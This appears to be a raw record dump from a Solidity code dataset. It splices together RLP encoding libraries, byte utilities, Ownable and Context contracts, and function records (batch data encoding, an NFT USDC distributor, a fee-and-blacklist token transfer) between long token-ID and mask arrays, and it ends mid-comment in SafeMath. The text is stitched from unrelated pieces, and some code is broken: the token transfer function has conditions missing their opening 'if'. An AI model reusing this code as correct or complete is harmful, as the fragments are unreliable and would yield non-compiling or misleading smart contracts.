(0, 1, RLPItemType.DATA_ITEM); } else if (prefix <= 0xb7) { // Short string. uint256 strLen = prefix - 0x80; require(_in.length > strLen, "Invalid RLP short string."); return (1, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xbf) { // Long string. uint256 lenOfStrLen = prefix - 0xb7; require(_in.length > lenOfStrLen, "Invalid RLP long string length."); uint256 strLen; assembly { // Pick out the string length. strLen := div(mload(add(ptr, 1)), exp(256, sub(32, lenOfStrLen))) } require(_in.length > lenOfStrLen + strLen, "Invalid RLP long string."); return (1 + lenOfStrLen, strLen, RLPItemType.DATA_ITEM); } else if (prefix <= 0xf7) { // Short list. uint256 listLen = prefix - 0xc0; require(_in.length > listLen, "Invalid RLP short list."); return (1, listLen, RLPItemType.LIST_ITEM); } else { // Long list. uint256 lenOfListLen = prefix - 0xf7; require(_in.length > lenOfListLen, "Invalid RLP long list length."); uint256 listLen; assembly { // Pick out the list length. listLen := div(mload(add(ptr, 1)), exp(256, sub(32, lenOfListLen))) } require(_in.length > lenOfListLen + listLen, "Invalid RLP long list."); return (1 + lenOfListLen, listLen, RLPItemType.LIST_ITEM); } } /** * Copies the bytes from a memory location. * @param _src Pointer to the location to read from. * @param _offset Offset to start reading from. * @param _length Number of bytes to read. * @return Copied bytes. */ function _copy( uint256 _src, uint256 _offset, uint256 _length ) private pure returns (bytes memory) { bytes memory out = new bytes(_length); if (out.length == 0) { return out; } uint256 src = _src + _offset; uint256 dest; assembly { dest := add(out, 32) } // Copy over as many complete words as we can. for (uint256 i = 0; i < _length / 32; i++) { assembly { mstore(dest, mload(src)) } src += 32; dest += 32; } // Pick out the remaining bytes. uint256 mask; unchecked { mask = 256**(32 - (_length % 32)) - 1; } assembly { mstore(dest, or(and(mload(src), not(mask)), and(mload(dest), mask))) } return out; } /** * Copies an RLP item into bytes. * @param _in RLP item to copy. * @return Copied bytes. */ function _copy(RLPItem memory _in) private pure returns (bytes memory) { return _copy(_in.ptr, 0, _in.length); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_RLPWriter * @author Bakaoh (with modifications) */ library Lib_RLPWriter { /********************** * Internal Functions * **********************/ /** * RLP encodes a byte string. * @param _in The byte string to encode. * @return The RLP encoded string in bytes. */ function writeBytes(bytes memory _in) internal pure returns (bytes memory) { bytes memory encoded; if (_in.length == 1 && uint8(_in[0]) < 128) { encoded = _in; } else { encoded = abi.encodePacked(_writeLength(_in.length, 128), _in); } return encoded; } /** * RLP encodes a list of RLP encoded byte byte strings. * @param _in The list of RLP encoded byte strings. * @return The RLP encoded list of items in bytes. */ function writeList(bytes[] memory _in) internal pure returns (bytes memory) { bytes memory list = _flatten(_in); return abi.encodePacked(_writeLength(list.length, 192), list); } /** * RLP encodes a string. * @param _in The string to encode. * @return The RLP encoded string in bytes. */ function writeString(string memory _in) internal pure returns (bytes memory) { return writeBytes(bytes(_in)); } /** * RLP encodes an address. * @param _in The address to encode. * @return The RLP encoded address in bytes. */ function writeAddress(address _in) internal pure returns (bytes memory) { return writeBytes(abi.encodePacked(_in)); } /** * RLP encodes a uint. * @param _in The uint256 to encode. * @return The RLP encoded uint256 in bytes. */ function writeUint(uint256 _in) internal pure returns (bytes memory) { return writeBytes(_toBinary(_in)); } /** * RLP encodes a bool. * @param _in The bool to encode. * @return The RLP encoded bool in bytes. */ function writeBool(bool _in) internal pure returns (bytes memory) { bytes memory encoded = new bytes(1); encoded[0] = (_in ? bytes1(0x01) : bytes1(0x80)); return encoded; } /********************* * Private Functions * *********************/ /** * Encode the first byte, followed by the `len` in binary form if `length` is more than 55. * @param _len The length of the string or the payload. * @param _offset 128 if item is string, 192 if item is list. * @return RLP encoded bytes. */ function _writeLength(uint256 _len, uint256 _offset) private pure returns (bytes memory) { bytes memory encoded; if (_len < 56) { encoded = new bytes(1); encoded[0] = bytes1(uint8(_len) + uint8(_offset)); } else { uint256 lenLen; uint256 i = 1; while (_len / i != 0) { lenLen++; i *= 256; } encoded = new bytes(lenLen + 1); encoded[0] = bytes1(uint8(lenLen) + uint8(_offset) + 55); for (i = 1; i <= lenLen; i++) { encoded[i] = bytes1(uint8((_len / (256**(lenLen - i))) % 256)); } } return encoded; } /** * Encode integer in big endian binary form with no leading zeroes. * @notice TODO: This should be optimized with assembly to save gas costs. * @param _x The integer to encode. * @return RLP encoded bytes. */ function _toBinary(uint256 _x) private pure returns (bytes memory) { bytes memory b = abi.encodePacked(_x); uint256 i = 0; for (; i < 32; i++) { if (b[i] != 0) { break; } } bytes memory res = new bytes(32 - i); for (uint256 j = 0; j < res.length; j++) { res[j] = b[i++]; } return res; } /** * Copies a piece of memory to another location. * @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol. * @param _dest Destination location. * @param _src Source location. * @param _len Length of memory to copy. */ function _memcpy( uint256 _dest, uint256 _src, uint256 _len ) private pure { uint256 dest = _dest; uint256 src = _src; uint256 len = _len; for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint256 mask; unchecked { mask = 256**(32 - len) - 1; } assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /** * Flattens a list of byte strings into one byte string. * @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol. * @param _list List of byte strings to flatten. * @return The flattened byte string. */ function _flatten(bytes[] memory _list) private pure returns (bytes memory) { if (_list.length == 0) { return new bytes(0); } uint256 len; uint256 i = 0; for (; i < _list.length; i++) { len += _list[i].length; } bytes memory flattened = new bytes(len); uint256 flattenedPtr; assembly { flattenedPtr := add(flattened, 0x20) } for (i = 0; i < _list.length; i++) { bytes memory item = _list[i]; uint256 listPtr; assembly { listPtr := add(item, 0x20) } _memcpy(flattenedPtr, listPtr, item.length); flattenedPtr += _list[i].length; } return flattened; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_BytesUtils */ library Lib_BytesUtils { /********************** * Internal Functions * **********************/ function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, "slice_overflow"); require(_start + _length >= _start, "slice_overflow"); require(_bytes.length >= _start + _length, "slice_outOfBounds"); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function slice(bytes memory _bytes, uint256 _start) internal pure returns (bytes memory) { if (_start >= _bytes.length) { return bytes(""); } return slice(_bytes, _start, _bytes.length - _start); } function toBytes32(bytes memory _bytes) internal pure returns (bytes32) { if (_bytes.length < 32) { bytes32 ret; assembly { ret := mload(add(_bytes, 32)) } return ret; } return abi.decode(_bytes, (bytes32)); // will truncate if input length > 32 bytes } function toUint256(bytes memory _bytes) internal pure returns (uint256) { return uint256(toBytes32(_bytes)); } function toNibbles(bytes memory _bytes) internal pure returns (bytes memory) { bytes memory nibbles = new bytes(_bytes.length * 2); for (uint256 i = 0; i < _bytes.length; i++) { nibbles[i * 2] = _bytes[i] >> 4; nibbles[i * 2 + 1] = bytes1(uint8(_bytes[i]) % 16); } return nibbles; } function fromNibbles(bytes memory _bytes) internal pure returns (bytes memory) { bytes memory ret = new bytes(_bytes.length / 2); for (uint256 i = 0; i < ret.length; i++) { ret[i] = (_bytes[i * 2] << 4) | (_bytes[i * 2 + 1]); } return ret; } function equal(bytes memory _bytes, bytes memory _other) internal pure returns (bool) { return keccak256(_bytes) == keccak256(_other); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @title Lib_Byte32Utils */ library Lib_Bytes32Utils { /********************** * Internal Functions * **********************/ /** * Converts a bytes32 value to a boolean. Anything non-zero will be converted to "true." * @param _in Input bytes32 value. * @return Bytes32 as a boolean. */ function toBool(bytes32 _in) internal pure returns (bool) { return _in != 0; } /** * Converts a boolean to a bytes32 value. * @param _in Input boolean value. * @return Boolean as a bytes32. */ function fromBool(bool _in) internal pure returns (bytes32) { return bytes32(uint256(_in ? 1 : 0)); } /** * Converts a bytes32 value to an address. Takes the *last* 20 bytes. * @param _in Input bytes32 value. * @return Bytes32 as an address. */ function toAddress(bytes32 _in) internal pure returns (address) { return address(uint160(uint256(_in))); } /** * Converts an address to a bytes32. * @param _in Input address value. * @return Address as a bytes32. */ function fromAddress(address _in) internal pure returns (bytes32) { return bytes32(uint256(uint160(_in))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /* External Imports */ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Lib_AddressManager */ contract Lib_AddressManager is Ownable { /********** * Events * **********/ event AddressSet(string indexed _name, address _newAddress, address _oldAddress); /************* * Variables * *************/ mapping(bytes32 => address) private addresses; /******************** * Public Functions * ********************/ /** * Changes the address associated with a particular name. * @param _name String name to associate an address with. * @param _address Address to associate with the name. */ function setAddress(string memory _name, address _address) external onlyOwner { bytes32 nameHash = _getNameHash(_name); address oldAddress = addresses[nameHash]; addresses[nameHash] = _address; emit AddressSet(_name, _address, oldAddress); } /** * Retrieves the address associated with a given name. * @param _name Name to retrieve an address for. * @return Address associated with the given name. */ function getAddress(string memory _name) external view returns (address) { return addresses[_getNameHash(_name)]; } /********************** * Internal Functions * **********************/ /** * Computes the hash of a name. * @param _name Name to compute a hash for. * @return Hash of the given name. */ function _getNameHash(string memory _name) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_name)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
* Encodes the batch context for the extra data. @param _totalElements Total number of elements submitted. @param _lastSequencerTimestamp Timestamp of the last batch submitted by the sequencer. @return Encoded batch context./
function _makeBatchExtraData(uint40 _totalElements, uint40 _lastSequencerTimestamp) internal pure returns (bytes27) { bytes27 extraData; assembly { extraData := _totalElements extraData := or(extraData, shl(40, _lastSequencerTimestamp)) extraData := shl(40, extraData) } return extraData; }
1,221,446
[ 1, 19771, 326, 2581, 819, 364, 326, 2870, 501, 18, 225, 389, 4963, 3471, 10710, 1300, 434, 2186, 9638, 18, 225, 389, 2722, 1761, 372, 23568, 4921, 8159, 434, 326, 1142, 2581, 9638, 635, 326, 26401, 23568, 18, 327, 23306, 2581, 819, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 6540, 4497, 7800, 751, 12, 11890, 7132, 389, 4963, 3471, 16, 2254, 7132, 389, 2722, 1761, 372, 23568, 4921, 13, 203, 3639, 2713, 203, 3639, 16618, 203, 3639, 1135, 261, 3890, 5324, 13, 203, 565, 288, 203, 3639, 1731, 5324, 2870, 751, 31, 203, 3639, 19931, 288, 203, 5411, 2870, 751, 519, 389, 4963, 3471, 203, 5411, 2870, 751, 519, 578, 12, 7763, 751, 16, 699, 80, 12, 7132, 16, 389, 2722, 1761, 372, 23568, 4921, 3719, 203, 5411, 2870, 751, 519, 699, 80, 12, 7132, 16, 2870, 751, 13, 203, 3639, 289, 203, 203, 3639, 327, 2870, 751, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0x8292f7Ab43eEDb0bAFd07702fFa2a7052C02666f/sources/project_/contracts/BaseContracts/BaseDistributor.sol
* @notice Distribute USDC to the holding address of each NFT @param collection Address of the ERC721 contract @param amount Amount of USDC to distribute in regular terms @dev Only callable by the ADMIN role/ Get the supply of NFTs Calculate the amount of USDC to send to each holding address, format decimals Send vig after formatting decimals Use a safeTransferFrom to send the USDC to each holding address
function distribute(address collection, uint256 amount) external onlyRole(DISTRIBUTOR) { uint256 supply = IERC721(collection).totalSupply(); require(supply > 0, "No nfts in this collection"); uint256 vigorish = amount * (vig / 10000); uint256 amtInfo = amount - vigorish; uint256 sendAmount = (amtInfo * (10 ** usdc.decimals())) / supply; vigorish = vigorish * (10 ** usdc.decimals()); usdc.transferFrom(msg.sender, vigAdd, vigorish); for (uint256 i = 0; i < supply; i++) { usdc.transferFrom(msg.sender, IERC721(collection).ownerOf(i), sendAmount); } emit Distributed(collection, sendAmount); }
7,147,751
[ 1, 1669, 887, 11836, 5528, 358, 326, 19918, 1758, 434, 1517, 423, 4464, 225, 1849, 5267, 434, 326, 4232, 39, 27, 5340, 6835, 225, 3844, 16811, 434, 11836, 5528, 358, 25722, 316, 6736, 6548, 225, 5098, 4140, 635, 326, 25969, 2478, 19, 968, 326, 14467, 434, 423, 4464, 87, 9029, 326, 3844, 434, 11836, 5528, 358, 1366, 358, 1517, 19918, 1758, 16, 740, 15105, 2479, 331, 360, 1839, 10407, 15105, 2672, 279, 4183, 5912, 1265, 358, 1366, 326, 11836, 5528, 358, 1517, 19918, 1758, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 25722, 12, 2867, 1849, 16, 2254, 5034, 3844, 13, 3903, 1338, 2996, 12, 2565, 27424, 1693, 916, 13, 288, 203, 202, 202, 11890, 5034, 14467, 273, 467, 654, 39, 27, 5340, 12, 5548, 2934, 4963, 3088, 1283, 5621, 203, 202, 202, 6528, 12, 2859, 1283, 405, 374, 16, 315, 2279, 290, 1222, 87, 316, 333, 1849, 8863, 203, 203, 202, 202, 11890, 5034, 331, 360, 280, 1468, 273, 3844, 380, 261, 90, 360, 342, 12619, 1769, 203, 203, 202, 202, 11890, 5034, 25123, 966, 273, 3844, 300, 331, 360, 280, 1468, 31, 203, 203, 202, 202, 11890, 5034, 1366, 6275, 273, 261, 301, 88, 966, 380, 261, 2163, 2826, 584, 7201, 18, 31734, 1435, 3719, 342, 14467, 31, 203, 203, 202, 202, 90, 360, 280, 1468, 273, 331, 360, 280, 1468, 380, 261, 2163, 2826, 584, 7201, 18, 31734, 10663, 203, 202, 202, 407, 7201, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 331, 360, 986, 16, 331, 360, 280, 1468, 1769, 203, 203, 202, 202, 1884, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 14467, 31, 277, 27245, 288, 203, 1082, 202, 407, 7201, 18, 13866, 1265, 12, 3576, 18, 15330, 16, 467, 654, 39, 27, 5340, 12, 5548, 2934, 8443, 951, 12, 77, 3631, 1366, 6275, 1769, 203, 202, 202, 97, 203, 202, 202, 18356, 27877, 12, 5548, 16, 1366, 6275, 1769, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xC4Fea32dE6B778166B28de9F65f0Cd543aC4cedc/sources/src/AION2.sol
if any account belongs to _isExcludedFromFee account then remove the fee only take fees on buys/sells, do not take on wallet transfers on sell on buy
function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!blacklisted[from],"Sender blacklisted"); require(!blacklisted[to],"Receiver blacklisted"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; uint256 buyFees = getBuyFee(); uint256 sellFees = getSellFee(); if (takeFee) { if (automatedMarketMakerPairs[to] && sellFees > 0) { fees = amount.mul(sellFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellFees; tokensForTeam += (fees * sellTeamFee) / sellFees; tokensForRevShare += (fees * sellRevShareFee) / sellFees; tokensForBuyBack += (fees * buyBackFee) / sellFees; } else if (automatedMarketMakerPairs[from] && buyFees > 0) { fees = amount.mul(buyFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyFees; tokensForTeam += (fees * buyTeamFee) / buyFees; tokensForRevShare += (fees * buyRevShareFee) / buyFees; tokensForBuyBack += (fees * buyBackFee) / buyFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); }
8,375,383
[ 1, 430, 1281, 2236, 11081, 358, 389, 291, 16461, 1265, 14667, 2236, 1508, 1206, 326, 14036, 1338, 4862, 1656, 281, 603, 25666, 1900, 19, 87, 1165, 87, 16, 741, 486, 4862, 603, 9230, 29375, 603, 357, 80, 603, 30143, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 2713, 3849, 288, 203, 3639, 2583, 12, 2080, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 869, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 5, 11223, 18647, 63, 2080, 6487, 6, 12021, 25350, 8863, 203, 3639, 2583, 12, 5, 11223, 18647, 63, 869, 6487, 6, 12952, 25350, 8863, 203, 203, 3639, 309, 261, 8949, 422, 374, 13, 288, 203, 5411, 2240, 6315, 13866, 12, 2080, 16, 358, 16, 374, 1769, 203, 5411, 327, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 14270, 382, 12477, 13, 288, 203, 5411, 309, 261, 203, 7734, 628, 480, 3410, 1435, 597, 203, 7734, 358, 480, 3410, 1435, 597, 203, 7734, 358, 480, 1758, 12, 20, 13, 597, 203, 7734, 358, 480, 1758, 12, 20, 92, 22097, 13, 597, 203, 7734, 401, 22270, 1382, 203, 5411, 262, 288, 203, 7734, 309, 16051, 313, 14968, 3896, 13, 288, 203, 10792, 2583, 12, 203, 13491, 389, 291, 16461, 1265, 2954, 281, 63, 2080, 65, 747, 389, 291, 16461, 1265, 2954, 281, 63, 869, 6487, 203, 13491, 315, 1609, 7459, 353, 486, 2695, 1199, 203, 10792, 11272, 203, 7734, 289, 203, 203, 10792, 18472, 690, 3882, 278, 12373, 10409, 63, 2080, 65, 597, 203, 10792, 401, 67, 291, 16461, 2747, 3342, 6275, 63, 2 ]
pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` 